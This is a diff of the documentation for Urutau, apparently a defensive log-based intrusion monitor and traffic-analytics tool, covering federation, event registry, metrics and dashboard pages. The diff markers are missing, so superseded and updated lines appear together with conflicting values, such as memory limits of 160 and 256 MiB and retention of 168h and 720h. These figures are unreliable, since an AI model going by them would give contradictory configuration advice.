Benign requests (`ok`, and the `notfound` that are not scanning) also feed the Traffic view. A domain only gets a slot after a 2xx answer (and `--domains` can restrict them to an allowlist), inactive domains are pruned, and top pages normalize token-looking path segments to `:id`: unique visitors, pages, referrers, countries, browsers, operating systems, devices, latency (p50 and p95) and bytes. A unique visitor is a hash computed with a salt that rotates daily, so it cannot be followed across days, and the IP address of a legitimate visitor is never persisted. Attack traffic stays in the Threats view, where the IP is the subject. Monitoring requests are kept out of both.
Benign requests (`ok`, and the `notfound` that are not scanning) also feed the Traffic page. A domain only gets a slot after a 2xx answer (and `--domains` can restrict them to an allowlist), inactive domains are pruned, and top pages normalize token-looking path segments to `:id`: unique visitors, pages, referrers, countries, browsers, operating systems, devices, latency (p50 and p95) and bytes. A unique visitor is a hash computed with a salt that rotates daily, so it cannot be followed across days, and the IP address of a legitimate visitor is never persisted. Attack traffic stays in the Threats view, where the IP is the subject. Monitoring requests are kept out of both.
## Periods and granularity
Every view takes a range: one of twelve named windows (`1h`, `2h`, `3h`, `6h`, `12h`, `24h`, `2d`, `3d`, `5d`, `7d`, `15d`, `30d`) or a custom period with `from` and `to` (unix seconds, at most 30 days, clipped to the retention; `clipped` says when it was). An invalid range answers 400. Responses carry `range` as an object `{name,from,to,step,clipped}`, where `step` is the timeline granularity in seconds: 60 up to 3 hours, 120 up to 6, 300 up to 12, 900 up to 48 hours and 3600 beyond. Minute buckets exist for the latest 48 hours; older data is hourly.
## Error classes and Traefik fields
Besides the client, path, status and User-Agent, Urutau reads these Traefik access log fields when they are present: `OriginStatus`, `OriginDuration`, `Overhead`, `OriginContentSize`, `RetryAttempts`, `RouterName`, `ServiceName`, `RequestProtocol`, `RequestScheme`, `TLSVersion` and `TLSCipher`. With them every error is classified:
| Class | Meaning |
|---|---|
| `app` | the backend itself answered 5xx |
| `proxy` | the proxy could not reach the backend, or the client gave up |
| `blocked` | refused by a middleware or a rate limit before the app |
| `attack` | the request is an attack (see the categories above) |
| `bot` | a crawler or tool |
| `client` | an ordinary client mistake (broken link, authentication, bad input) |
| `unknown` | none of the above could be told |
## Services, SLO and Apdex
Requests are grouped per Traefik service (`ServiceName`, with its router). For each service Urutau keeps hourly counters by error class and latency histograms, and shows: the **SLI** (share of requests that did not end in an error that counts against the service), the **SLO** (target 99.5%), the **error budget** left, the **burn rate** over 1 hour and 6 hours (error rate divided by `1 - SLO`; above 1 the budget is being spent faster than allowed) and the **Apdex**. Attacks, blocked requests and bots do not count against a service. Apdex uses a threshold T of 500 ms (1 s for API paths): a request answered within T is satisfied, within 4T tolerating, and a 5xx or a slower one is frustrated; Apdex is (satisfied + tolerating/2) / total.
## Episodes and survival
An attack **episode** is the run of activity of one address, closed after a quiet gap. From episodes Urutau measures the time from the first sighting to the ban and draws **Kaplan-Meier** survival curves (the probability that an address is still not banned after a given time, with addresses never banned counted as censored), with the median and the 90th percentile.
## Unique visitors
A **visitor** is a person with a real browser: a successful (2xx) GET of a document by a browser User-Agent (not a bot, tool or unknown client), not a prefetch and, when the browser says so, with `Sec-Fetch-Dest: document`. It is counted once per IP per UTC day, deduplicated globally across domains (a per-domain figure and an all-domains total). The key is a hash of a daily salt, the IP and the domain, and leaves the User-Agent out on purpose, because scrapers rotate it per request from one address (a measured 2.7x inflation). Everything else that talks to a site (bots, tools, unknown or empty User-Agents) is counted apart as **non-human clients**.
This is why the number differs from Coolify's analytics, which counts every distinct IP through HyperLogLog with no filter: bots, scanners and health checks inflate it. Urutau's figure is lower and closer to people.
## Legitimate visits stream
`GET /api/v1/events/stream?visits=1` adds anonymous visit events to the live stream. A visit carries no address, User-Agent or referrer; its place is the city, with coordinates rounded to one decimal (about 11 km). At most 20 visit events per second per instance are sent (the excess is summarised once a second as a batch), and visits are only broadcast to subscribers: never written to the event log, a snapshot or `live/recent`.
## Event registry
`<data-dir>/events/` holds one JSON line per event, in the same format as the live stream, one file per UTC day. The current day is appended to and synced every 2 seconds; older days are gzip compressed. Files older than the retention are deleted, and the total is capped by `--events-max` (512 MB by default, `0` disables the registry). A day holds at most 200,000 lines; beyond that, events are only counted.
What enters: malicious events (scanner, exploit, bruteforce, ssh-fail, ssh-probe), ban and unban, successful SSH logins, a 404 answered to an attack tool, and `ok` or `notfound` answers only for addresses that are already suspicious or hostile (to show what they got). Never a legitimate visitor. Events relayed from peers are registered with the peer name as host.
Failure behavior: a full disk, the size cap or the day cap drop events (counted, logged at most once in a while, never fatal); a corrupted line is skipped when reading; a partial line left by an earlier failure is terminated before the next write.
## Intelligence
The investigation layer is computed from the IP table and the registry, with no external API:
- **Attack families** (`traversal`, `log4shell`, `sqli`, `xss`, `rce-injection`, `webshell`, `env-credentials`, `vcs`, `backup`, `wordpress`, `phpmyadmin-db`, `actuator-debug`, `iot-cgi`, `admin-panel`, `generic-404`) and the **MITRE ATT&CK** techniques they map to.
- **Network type** from the ASN, the AS organisation and reverse DNS: `vpn`, `research-scanner`, `isp-cn`, `hosting`, `mobile`, `isp/mobile`, `residential`, `unknown`, and `tor` when the address is in the `--tor-exits` file (reloaded every 24 hours when it changes).
- **Cadence** of the requests of one IP: `automated`, `human-like`, `mixed` or `insufficient` (fewer than 3 requests).
- **Sessions:** bursts of one IP separated by a gap (30 minutes by default), each with a stage in increasing severity: `recon`, `probe`, `exploit`, `access`, `banned`.
- **Campaigns:** at least 3 IPs whose sessions have the same signature (similar normalized paths, Jaccard 0.6 or more, same tool) within a window; the signature id is `c-` plus 8 hex characters.
- **Exposure:** a 2xx answer to a request on a sensitive path.
- **Verdict with reasons**, each reason a stable code with a weight (`exploits_refused`, `tool_ua`, `banned_jail`, `multi_category`, `exposure`, `ssh_login_after_bruteforce`, `admin`, `immune`), and **recommended actions** (`block`, `report`, `investigate`, `incident`); administrators and immune sources get none.
- **STIX 2.1** export of an IP (`/api/v1/ip/{ip}/stix`), with deterministic UUIDv5 ids.
- **Crawlers:** a User-Agent claiming Googlebot or Bingbot is confirmed by forward-confirmed reverse DNS; a fake one stays an attacker.
- SSH users listed in `--admin-users` are marked as administrators.
## Metrics
`GET /api/v1/metrics` returns stable figures (no per-minute rates), each with its value, the previous value and a sparkline where it applies:
| Metric | Formula |
|---|---|
| `attacks_per_hour_24h` | malicious events in the last 24 h / 24 |
| `moving_avg_7d_per_hour` | malicious events in the last 7 days / 168 |
| `trend` | percent change of malicious events in the range against the previous range of the same length |
| `active_attackers_24h`, `_1h` | attacker IPs seen in the last 24 h, in the last hour |
| `new_attackers` | IPs first seen inside the range (and the previous range) |
| `returning_rate` | IPs seen in the range but first seen before it / all IPs seen in the range, in percent |
| `sessions_per_day` | sessions in the range / days of the range (at least 1) |
| `exposure_rate` | sessions that got a successful answer / sessions, in percent |
| `exploits_refused_pct` | exploit requests answered 4xx or 5xx / exploit requests with a status, in percent |
| `mttb` | median and 90th percentile of the time from first sighting to ban |
| `ban_coverage` | hostile IPs banned / hostile IPs, in percent |
| `blocklist_coverage` | hostile IPs that are listable (global addresses) / hostile IPs, in percent |
| `blocklist_leak` | hostile IPs neither banned nor listable (a count) |
| `ssh.fails_24h`, `ssh.users_distinct`, `ssh.ok_after_fail` | SSH failures in 24 h, distinct users tried in 24 h, sessions with a failure and then a successful login |
| `concentration.top10_ips`, `top5_asns` | share of malicious events from the 10 busiest IPs and the 5 busiest ASNs, in percent |
Sessions, exposure, refused exploits and `ok_after_fail` need the event registry and read at most a bounded number of events (`truncated` says when the window was cut).
## State and persistence
The state lives in memory: minute buckets for 7 days, hourly top lists (paths, domains, User-Agents, users), a table of up to 20,000 IPs (when full, the 10% with the lowest score are evicted; banned IPs are kept), a feed of the latest 500 events and the active bans. `--retention` (1h to 168h) bounds how long IPs are kept; old IPs are pruned every 10 minutes.
The state lives in memory: minute buckets for the latest 48 hours and hourly data up to 30 days, hourly top lists (paths, domains, User-Agents, users), a table of up to 20,000 IPs (when full, the 10% with the lowest score are evicted; banned IPs are kept), a feed of the latest 500 events and the active bans. `--retention` (1h to 168h) bounds how long IPs are kept; old IPs are pruned every 10 minutes.
Every 60 seconds, and on shutdown, the state is written to `urutau-state.gob` in the data directory together with the inode and offset of every source. On start it is restored and each source resumes exactly where it stopped, so a restart never counts a log twice. A snapshot is skipped while a backfill runs. An unreadable snapshot is moved to `urutau-state.gob.corrupt` and the service starts empty, reading the logs again (including the rotated copies).
The process sets a soft memory limit of 160 MiB unless `GOMEMLIMIT` is set.
The process sets a soft memory limit of 256 MiB unless `GOMEMLIMIT` is set. The worst case measured is about 54 MiB of heap and a snapshot of about 27 MB.
## Federation
A hub is an ordinary instance started with `--peer name=https://url`, and it needs `URUTAU_PEER_TOKEN`. Every 15 seconds it calls each peer's `GET /api/v1/peer/export?range=...` (for `1h`, `24h` and `7d`) with the peer token and keeps the latest answer. The export is `{"v":1,"summary":...,"traffic":{...}}` with the top 500 IPs and their detail, cached for 5 seconds on the peer. It is the only route the peer token opens. The hub never follows redirects, requires `https` outside loopback, uses a 4 second timeout, caps the body at 8 MB and sanitizes and caps whatever a peer sends. A peer that fails is marked offline and the others carry on. The dashboard host selector then offers `all`, the hub itself and each peer; summaries, traffic and IP tables are merged, and every row carries the host it came from.
A hub is an ordinary instance started with `--peer name=https://url`, and it needs `URUTAU_PEER_TOKEN`. Every 15 seconds it calls each peer's `GET /api/v1/peer/export?range=...` (for the background ranges `1h`, `24h`, `7d` and `30d`; any other range or custom period is fetched on demand) with the peer token and keeps the latest answer. The export is `{"v":1,"summary":...,"traffic":{...}}` with the top 500 IPs and their detail, cached for 5 seconds on the peer. The peer token opens three routes: the export, the live stream and `GET /api/v1/peer/period`, the study (sessions, campaigns, metrics) the hub merges for a period or an IP; a peer runs at most two studies at once. The hub never follows redirects, requires `https` outside loopback, uses a 4 second timeout, caps the body at 8 MB and sanitizes and caps whatever a peer sends. A peer that fails is marked offline and the others carry on. The dashboard host selector then offers `all`, the hub itself and each peer; summaries, traffic and IP tables are merged, and every row carries the host it came from.
### Live relay
Besides the export, a hub keeps one `GET /api/v1/peer/stream` connection open per peer (a subscription per peer, with the peer's own token) and relays the live malicious events to its dashboard. What comes from a peer is bounded and sanitized: at most about 50 events per second per peer, lines of at most 16 KB, a buffer of the latest 500 relayed events (served by `/api/v1/live/recent`), and reconnection with backoff from 1 s up to 60 s. A peer serves at most 10 stream connections.
### Geography aggregation
`GET /api/v1/geo` is computed from the IP table (local and the peers' exports) joined with the geolocation databases: countries first, then, for one country, its regions, cities and top IPs. Results are cached for 5 seconds, in a cache of at most 256 keys.
## HTTP layer
+7 -3
View File
@@ -32,12 +32,16 @@ The access token is never a flag: `urutau serve` reads it from the `URUTAU_TOKEN
| `--peer` | `URUTAU_PEERS` | none | peer `name=https://url`; repeat the flag, or comma separate the variable |
| `--peer-token` | `URUTAU_PEER_TOKEN` | empty | token shared with the peers; prefer the variable or `URUTAU_PEER_TOKEN_FILE` (a flag shows up in the process list). Per-peer: `URUTAU_PEER_TOKEN_<NAME>` |
| `--admin-users` | `URUTAU_ADMIN_USERS` | empty | SSH users whose successful login keeps their IP out of the blocklist for 24 h; the immunity is off unless set |
| `--peer-allow` | `URUTAU_PEER_ALLOW` | empty | source CIDRs allowed to call the export; empty accepts any source with the token |
| `--peer-allow` | `URUTAU_PEER_ALLOW` | empty | source CIDRs allowed to call the federation routes; empty accepts any source with the token |
| `--peer-blocklist` | `URUTAU_PEER_BLOCKLIST` | `on` | `on` lists in the hub's blocklist the hostile IPs seen only by peers (score 50+ and a strong signal); `off` keeps the blocklist to this instance's own IPs |
| `--location` | `URUTAU_LOCATION` | empty | map position of this instance, `"lat,lon"` or `"lat,lon,Label"` |
| `--trusted-proxy` | `URUTAU_TRUSTED_PROXY` | `127.0.0.0/8,::1` (the compose file sets `10.250.0.0/24`) | proxies whose `X-Forwarded-For` is trusted, read right to left (login rate limit, `--peer-allow`) |
| `--retention` | `URUTAU_RETENTION` | `168h` | how long data is kept (1h to 168h) |
| `--retention` | `URUTAU_RETENTION` | `720h` | how long data is kept (1h to 720h, that is 30 days) |
| `--events-max` | `URUTAU_EVENTS_MAX` | `512MB` | size cap of the event registry in `<data-dir>/events`; `0` turns it off |
| `--tor-exits` | `URUTAU_TOR_EXITS` | empty | file with Tor exit addresses, one per line, reloaded every 24 h when it changes; empty disables |
| `--insecure-no-auth` | none | off | disable authentication; only on a loopback bind |
Validation at start: peers must be `name=https://host` (plain `http` only on loopback), `URUTAU_PEER_TOKEN` must be set and different from `URUTAU_TOKEN`, names must be unique and cannot be `all` or the instance's own name, `--retention` must be at least 1h, and `URUTAU_TOKEN` and every peer token must have at least 32 characters and about 128 bits of estimated entropy; each peer needs a client token (`URUTAU_PEER_TOKEN_<NAME>` or the general `URUTAU_PEER_TOKEN` as fallback), and peer names must not collide in that variable name (unless `--insecure-no-auth` on a loopback address).
Validation at start: peers must be `name=https://host` (plain `http` only on loopback), `URUTAU_PEER_TOKEN` must be set and different from `URUTAU_TOKEN`, names must be unique and cannot be `all` or the instance's own name, `--retention` must be at least 1h (and at most 720h), and `URUTAU_TOKEN` and every peer token must have at least 32 characters and about 128 bits of estimated entropy; each peer needs a client token (`URUTAU_PEER_TOKEN_<NAME>` or the general `URUTAU_PEER_TOKEN` as fallback), and peer names must not collide in that variable name (unless `--insecure-no-auth` on a loopback address).
```bash
export URUTAU_TOKEN=$(openssl rand -base64 48)
+15 -5
View File
@@ -10,7 +10,7 @@ Urutau has no configuration file. Everything is a flag with a `URUTAU_*` environ
|---|---|
| `URUTAU_TOKEN` | **Required.** Access token of the dashboard and the API: at least 32 characters and about 128 bits of estimated entropy (length times Shannon entropy; periodic or sequential tokens are refused). Generate one with `openssl rand -base64 48` (`openssl rand -hex 32` also works; `-hex 16` is refused by the entropy estimate). |
| `URUTAU_TOKEN_FILE` | Path of a file holding the token (whitespace trimmed), instead of the variable. The variable wins when both are set. |
| `URUTAU_PEER_TOKEN` | Optional. The server token of this instance: the only token its `GET /api/v1/peer/export` accepts, and it opens nothing else. Same strength rules as `URUTAU_TOKEN` (32+ characters, about 128 bits of estimated entropy, not periodic or sequential), and it must differ from it. When this instance is a hub, it is also the fallback client token sent to peers that have no token of their own. |
| `URUTAU_PEER_TOKEN` | Optional. The server token of this instance: the only token its federation routes (`GET /api/v1/peer/export` and `GET /api/v1/peer/stream`) accept, and it opens nothing else. Same strength rules as `URUTAU_TOKEN` (32+ characters, about 128 bits of estimated entropy, not periodic or sequential), and it must differ from it. When this instance is a hub, it is also the fallback client token sent to peers that have no token of their own. |
| `URUTAU_PEER_TOKEN_FILE` | Path of a file holding the general peer token. |
| `URUTAU_PEER_TOKEN_<NAME>` and `..._<NAME>_FILE` | The client credential a hub sends to that one peer; it must equal the peer's own `URUTAU_PEER_TOKEN`. `<NAME>` is the peer name uppercased with every character other than a letter or digit turned into `_` (`my-peer` becomes `MY_PEER`). It does **not** open the local export. Two peer names that collapse to the same variable (`my-peer` and `my_peer`) are refused. A hub with a peer and no token for it refuses to start. |
@@ -31,14 +31,18 @@ Keep both in `.env` (never versioned) or in your orchestrator's secret store.
| `URUTAU_MONITOR_UA` | `(?i)^(Uptime-Kuma/\|Beszel\|Coolify\|kube-probe/\|Go-http-client/.*healthcheck)` | regular expression of monitoring User-Agents |
| `URUTAU_GEO_DIR` | `<data-dir>/geo` | where the DB-IP Lite databases live |
| `URUTAU_GEO_UPDATE` | `24h` | interval between checks for a newer database; `0` disables the download |
| `URUTAU_PEER_ALLOW` | empty | CIDRs allowed to call the export; empty accepts any source that has the token |
| `URUTAU_PEER_ALLOW` | empty | CIDRs allowed to call the federation routes; empty accepts any source that has the token |
| `URUTAU_PEER_BLOCKLIST` | `on` | `on`: the hub's blocklist includes hostile IPs seen only by peers (score 50+ and a strong signal); `off`: only this instance's own IPs |
| `URUTAU_LOCATION` | empty | where this instance is on the map, `"lat,lon"` or `"lat,lon,Label"` (validated at start). It is the destination of the arcs on the Live page and is shared with the hub; empty lets the page fall back to an estimated destination |
| `URUTAU_TRUSTED_PROXY` | `127.0.0.0/8,::1` (the compose file sets `10.250.0.0/24`) | reverse proxies whose `X-Forwarded-For` is trusted (read right to left); used by the login rate limit and by `URUTAU_PEER_ALLOW` |
| `URUTAU_DOMAINS` | empty | allowlist of analytics domains, exact names or `*.example.com`; empty tracks every domain that answers 2xx; recommended, in practice required, when any backend answers 2xx for every Host (catch-all or wildcard), otherwise random Hosts can fill the 24 domain slots |
| `URUTAU_MONITOR_FROM` | empty | CIDRs the monitors really come from; when set, the monitoring User-Agent only counts from them |
| `URUTAU_ADMIN_USERS` | empty | SSH users whose successful login keeps their IP out of the blocklist for 24 h after the last login (a later strong signal cancels it); the immunity is off unless this is set |
| `URUTAU_PEERS` | empty | peers to aggregate, comma separated `name=https://url` |
| `URUTAU_RETENTION` | `168h` | retention as a Go duration, from `1h` to `168h` |
| `GOMEMLIMIT` | 160 MiB soft limit | standard Go memory limit; set it to override the default |
| `URUTAU_RETENTION` | `720h` | retention as a Go duration, from `1h` to `720h` (30 days) |
| `URUTAU_EVENTS_MAX` | `512MB` | size cap of the event registry (`<data-dir>/events`); `0` turns it off |
| `URUTAU_TOR_EXITS` | empty | file of Tor exit addresses, one per line, reloaded every 24 h when it changes |
| `GOMEMLIMIT` | 256 MiB soft limit | standard Go memory limit; set it to override the default |
| `TZ` | UTC | time zone of `fail2ban.log` timestamps, which carry no zone |
In the container image the three log paths default to `/logs/traefik/access.log`, `/logs/host/auth.log` and `/logs/host/fail2ban.log` (the compose file mounts the host logs there). The compose file adds `URUTAU_VERSION` (image tag), `URUTAU_IMAGE` and `URUTAU_PUBLISH` (host address and port), see `.env.example`.
@@ -54,7 +58,9 @@ In the container image the three log paths default to `/logs/traefik/access.log`
Country, city and ASN come from the DB-IP Lite databases (city and ASN), which Urutau downloads and refreshes by itself into `URUTAU_GEO_DIR`. Without them (for example on an air-gapped host) the dashboard works and the geographic fields stay empty; to run offline, place the `dbip-city-lite-YYYY-MM.mmdb` and `dbip-asn-lite-YYYY-MM.mmdb` files in that directory and set `URUTAU_GEO_UPDATE=0`. The databases are licensed CC BY 4.0: keep the attribution (the dashboard footer and the README already carry it).
The Traffic tab needs no setting. `URUTAU_DOMAINS` restricts which domains it tracks (exact names or `*.example.com`); a domain only gets a slot after a 2xx answer and inactive domains are pruned, so forged `Host` headers cannot fill the analytics. Top pages normalize token-looking path segments (ids, hashes, long random strings) to `:id`. It uses the Traefik log, counts unique visitors by a daily-salted hash and never persists the IP address of a legitimate visitor. See [SECURITY.md](../SECURITY.md).
The geolocation databases are checked every 24 hours (`--geo-update`), but DB-IP publishes a new one only once a month, so most checks find nothing new; the file is replaced after it is verified.
The Traffic page needs no setting. `URUTAU_DOMAINS` restricts which domains it tracks (exact names or `*.example.com`); a domain only gets a slot after a 2xx answer and inactive domains are pruned, so forged `Host` headers cannot fill the analytics. Top pages normalize token-looking path segments (ids, hashes, long random strings) to `:id`. It uses the Traefik log, counts unique visitors by a daily-salted hash and never persists the IP address of a legitimate visitor. See [SECURITY.md](../SECURITY.md).
## Peers (hub mode)
@@ -69,6 +75,10 @@ On each peer, set the same `URUTAU_PEER_TOKEN`. The hub calls only `GET /api/v1/
The snapshot file holds the aggregated state and the log offsets. Mount `URUTAU_DATA_DIR` on a volume to keep it across restarts. Delete the file to start from zero (the rotated logs will be read again). Retention limits how long an IP is kept, at most 168 hours; the dashboard ranges are `1h`, `24h` and `7d`.
## Event registry
`<data-dir>/events/` keeps one line per attacker event, one file per UTC day, older days gzip compressed, deleted after `URUTAU_RETENTION`, and capped in total by `URUTAU_EVENTS_MAX` (a number with an optional unit, `0` turns the registry off). It never holds a legitimate visitor. It lives in the same volume as the snapshot, so plan for the cap on top of the snapshot (about 27 MB in the worst case measured). A full disk or the cap drops events and never stops the service. See [architecture.md](architecture.md).
## Authentication and exposure
The default bind is `0.0.0.0` because the container is behind a proxy. Outside a container, bind to `127.0.0.1` or put a TLS reverse proxy in front. `--insecure-no-auth` exists only for local tests and is refused on non-loopback binds.
+2 -2
View File
@@ -13,7 +13,7 @@ volume urutau-data ── read and write ─► /data (snapsho
The compose file follows this layout. The Traefik log directory is mounted outside `/data` so it does not collide with the snapshot volume. Only the dedicated `logs` directory of the proxy is mounted, never the whole `/data/coolify/proxy` (which holds `acme.json` and the dynamic configuration).
The image runs as the unprivileged user `urutau` (uid 10001) on Alpine. Its `HEALTHCHECK` is the binary itself (`urutau healthcheck`, which asks the local daemon for `/api/health`), so there is no `curl` in the image. The compose file sets `mem_limit: 256m` and `cpus: 0.5`, a read-only root filesystem, `cap_drop: [ALL]` and `no-new-privileges`, and passes from `.env` to the container: `URUTAU_TOKEN`, `URUTAU_NAME`, `URUTAU_TRUSTED`, `URUTAU_PEERS`, `URUTAU_PEER_TOKEN`, `URUTAU_PEER_ALLOW`, `URUTAU_TRUSTED_PROXY`, `URUTAU_DOMAINS`, `URUTAU_MONITOR_FROM`, `URUTAU_ADMIN_USERS`, `URUTAU_GEO_UPDATE` and `TZ`. To set any other `URUTAU_*` variable (`URUTAU_MONITOR_UA`, `URUTAU_RETENTION`, `URUTAU_TOKEN_FILE`, per-peer tokens, ...), add it to the `environment` block.
The image runs as the unprivileged user `urutau` (uid 10001) on Alpine. Its `HEALTHCHECK` is the binary itself (`urutau healthcheck`, which asks the local daemon for `/api/health`), so there is no `curl` in the image. The compose file sets a memory limit (`mem_limit`); the soft Go limit is 256 MiB and the worst case measured is about 54 MiB of heap plus a snapshot of about 27 MB, so `mem_limit: 384m` is recommended. The data volume also holds the event registry (`/data/events`, capped by `URUTAU_EVENTS_MAX`, 512 MB by default). The compose file sets and `cpus: 0.5`, a read-only root filesystem, `cap_drop: [ALL]` and `no-new-privileges`, and passes from `.env` to the container: `URUTAU_TOKEN`, `URUTAU_NAME`, `URUTAU_TRUSTED`, `URUTAU_PEERS`, `URUTAU_PEER_TOKEN`, `URUTAU_PEER_ALLOW`, `URUTAU_TRUSTED_PROXY`, `URUTAU_DOMAINS`, `URUTAU_MONITOR_FROM`, `URUTAU_ADMIN_USERS`, `URUTAU_GEO_UPDATE` and `TZ`. To set any other `URUTAU_*` variable (`URUTAU_MONITOR_UA`, `URUTAU_RETENTION`, `URUTAU_TOKEN_FILE`, per-peer tokens, ...), add it to the `environment` block.
## Quick start
@@ -150,7 +150,7 @@ Run one Urutau per server with its own `URUTAU_NAME`. Every instance that is pol
URUTAU_PEER_TOKEN_SERVER_3: ${TOKEN_FOR_SERVER_3}
```
The hub calls only `GET /api/v1/peer/export` on each peer (three ranges every 15 seconds) with that peer's token, which opens nothing else on the peer and is refused over plain `http` outside loopback. Set `URUTAU_PEER_ALLOW` on a peer to the hub's address to restrict who may call the export. Each peer keeps its own login token for its own dashboard.
The hub calls only `GET /api/v1/peer/export` on each peer (three ranges every 15 seconds) and keeps one `GET /api/v1/peer/stream` open for the live events, with that peer's token, which opens nothing else on the peer and is refused over plain `http` outside loopback. Set `URUTAU_PEER_ALLOW` on a peer to the hub's address to restrict who may call the export. Each peer keeps its own login token for its own dashboard.
## Hardening
Binary file not shown.

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 166 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 168 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 164 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 238 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 236 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 241 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 169 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 170 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 222 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 372 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 368 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 310 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 596 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 593 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 173 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 163 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 167 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 221 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 207 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 207 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 148 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 181 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 162 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 244 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 180 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 172 KiB

+79 -18
View File
@@ -8,31 +8,70 @@ The dashboard is embedded in the binary: plain HTML, CSS and JavaScript, no buil
Open the address of the instance. Without a session you are sent to `/login`: paste `URUTAU_TOKEN`. The session lasts 12 hours (`urutau_session` cookie, `HttpOnly`, `SameSite=Strict`) and is revocable: it holds a random id kept in memory, **Log out** revokes it (and closes its live stream), and a restart of the daemon invalidates every session. Login and logout reject cross-site requests. After 5 failures from the same address (IPv6 counted per /64) in 10 minutes the login answers 429, and a correct token is still accepted but after a 1 second delay, so the limiter cannot lock the owner out. Wrong bearer tokens on the API count as failures too. The address is the real client behind the proxies listed in `--trusted-proxy`.
<p align="center"><img src="img/login-dark.png" width="900" alt="Login page"><br><sub>Login: paste the access token.</sub></p>
## Navigation
A side rail (a tab bar on phones) holds the pages. Each page opens with a sentence carrying the number that matters, and the active slice (range, host, domain) is always written under the title. The page lives in the URL hash (`#/overview`, `#/threats`, `#/geo`, `#/live`, `#/replay`, `#/traffic`, `#/ips`, `#/ip/<ip>`, `#/sources`), so a view can be bookmarked or shared; the Geography page goes deeper, as in `#/geo/BR/Pernambuco/Recife` (country, state, city). An IP detail drawer opens from any IP.
## Header
- A live indicator showing whether the event stream (SSE) is connected (an instance serves at most 20 stream clients at once).
- The **host** selector: `all`, this instance and every peer of a hub.
- The **range** selector: `1h`, `24h` or `7d`.
- The **period** selector: twelve ranges (`1h`, `2h`, `3h`, `6h`, `12h`, `24h`, `2d`, `3d`, `5d`, `7d`, `15d`, `30d`) or a custom period (`from` and `to`, at most 30 days). It applies to every page.
- Language, theme and logout buttons.
## Threats tab
## Pages
- **KPIs:** requests, malicious events, hostile IPs, suspicious IPs, bans and the "monitoring" counter (benign requests from monitor User-Agents, kept out of the traffic numbers).
- **Timeline:** stacked counters per category over the selected range.
- **IPs:** a table with score, level (`hostile`, `suspicious`, `low`), categories, hosts, reverse DNS, country, city and ASN, last seen and ban state. It has a search box (IP or reverse DNS), a level filter, a "banned only" filter, sorting by IP, score or last seen, and paging. Click a row for the detail drawer: first and last seen, per-category counts, sample paths, User-Agents (parsed into browser, OS, device, bot or attack tool), domains, users and jails.
- **Live feed:** the latest events as they arrive. Fields from the logs are shown as text, never as markup.
- **Top lists:** attacked paths, domains, User-Agents and targeted users.
- **Blocklist:** pick a minimum score (default 50), copy the list or download it. It only lists hostile, globally routable addresses (never `--ignore` or `--trusted` ranges, never an IP with a successful SSH login); IPv6 appears as its /64, written `x:x:x:x::/64`.
- **Map:** a world map of the origin countries of hostile activity.
- **Hosts and sources:** every instance with its state (online, latency, version) and every log source with its state (`following`, `waiting`, `backfill`, `error`), lines read, malformed lines and last event. The file paths are not shown.
- **Overview:** the headline numbers (requests, malicious events, hostile and suspicious IPs, bans, the "monitoring" counter of benign monitor requests kept out of the traffic numbers), the timeline and the top IPs.
## Traffic tab
<p align="center"><img src="img/overview-dark.png" width="900" alt="Overview page"><br><sub>Overview (demo data).</sub></p>
- **Threats:** stacked counters per category, the live feed of the latest events (log fields are shown as text, never as markup) and the top attacked paths, domains, User-Agents and targeted users.
Privacy-friendly web analytics for legitimate traffic, built from the same Traefik log and replacing the analytics of the proxy: unique visitors, pages, referrers, countries, browsers, operating systems and devices, response latency (p50 and p95), bytes sent, and a world map of visitor countries. Unique visitors are counted by a hash with a daily salt; the IP of a legitimate visitor is never stored. See [SECURITY.md](../SECURITY.md).
<p align="center"><img src="img/threats-dark.png" width="900" alt="Threats page"><br><sub>Threats: categories over time, KPIs and the latest events.</sub></p>
- **Geography:** a world map by attacker country. Select a country to see its states or regions and its cities (drawn as circles on the zoomed country), the categories and the top IPs; select a region to narrow cities and IPs. The view is `#/geo/<CC>/<region>`.
<p align="center"><img src="img/geo-world-dark.png" width="900" alt="Geography page: world map by attacker country"><br><sub>Geography: the world by attacker country.</sub></p>
<p align="center"><img src="img/geo-brazil-dark.png" width="900" alt="Geography page zoomed on Brazil, by state"><br><sub>Geography: a country, by state and city.</sub></p>
<p align="center"><img src="img/geo-pernambuco-dark.png" width="900" alt="Geography page zoomed on the state of Pernambuco, with its city"><br><sub>Geography: a region, with its cities and top IPs.</sub></p>
- **Live:** attacks drawn as animated arcs from their origin to the server that saw them, on a flat map or a 3D globe, with the rate, categories, servers, recent origins, a metrics column and latest events, filters, pause and full screen. It opens by replaying the latest events (`/api/v1/live/recent`), so it is not still on a quiet server. On a hub it also shows the events of every peer. The position of each server comes from `--location`.
<p align="center"><img src="img/live-flat-dark.png" width="900" alt="Live page on the flat map"><br><sub>Live: flat map.</sub></p>
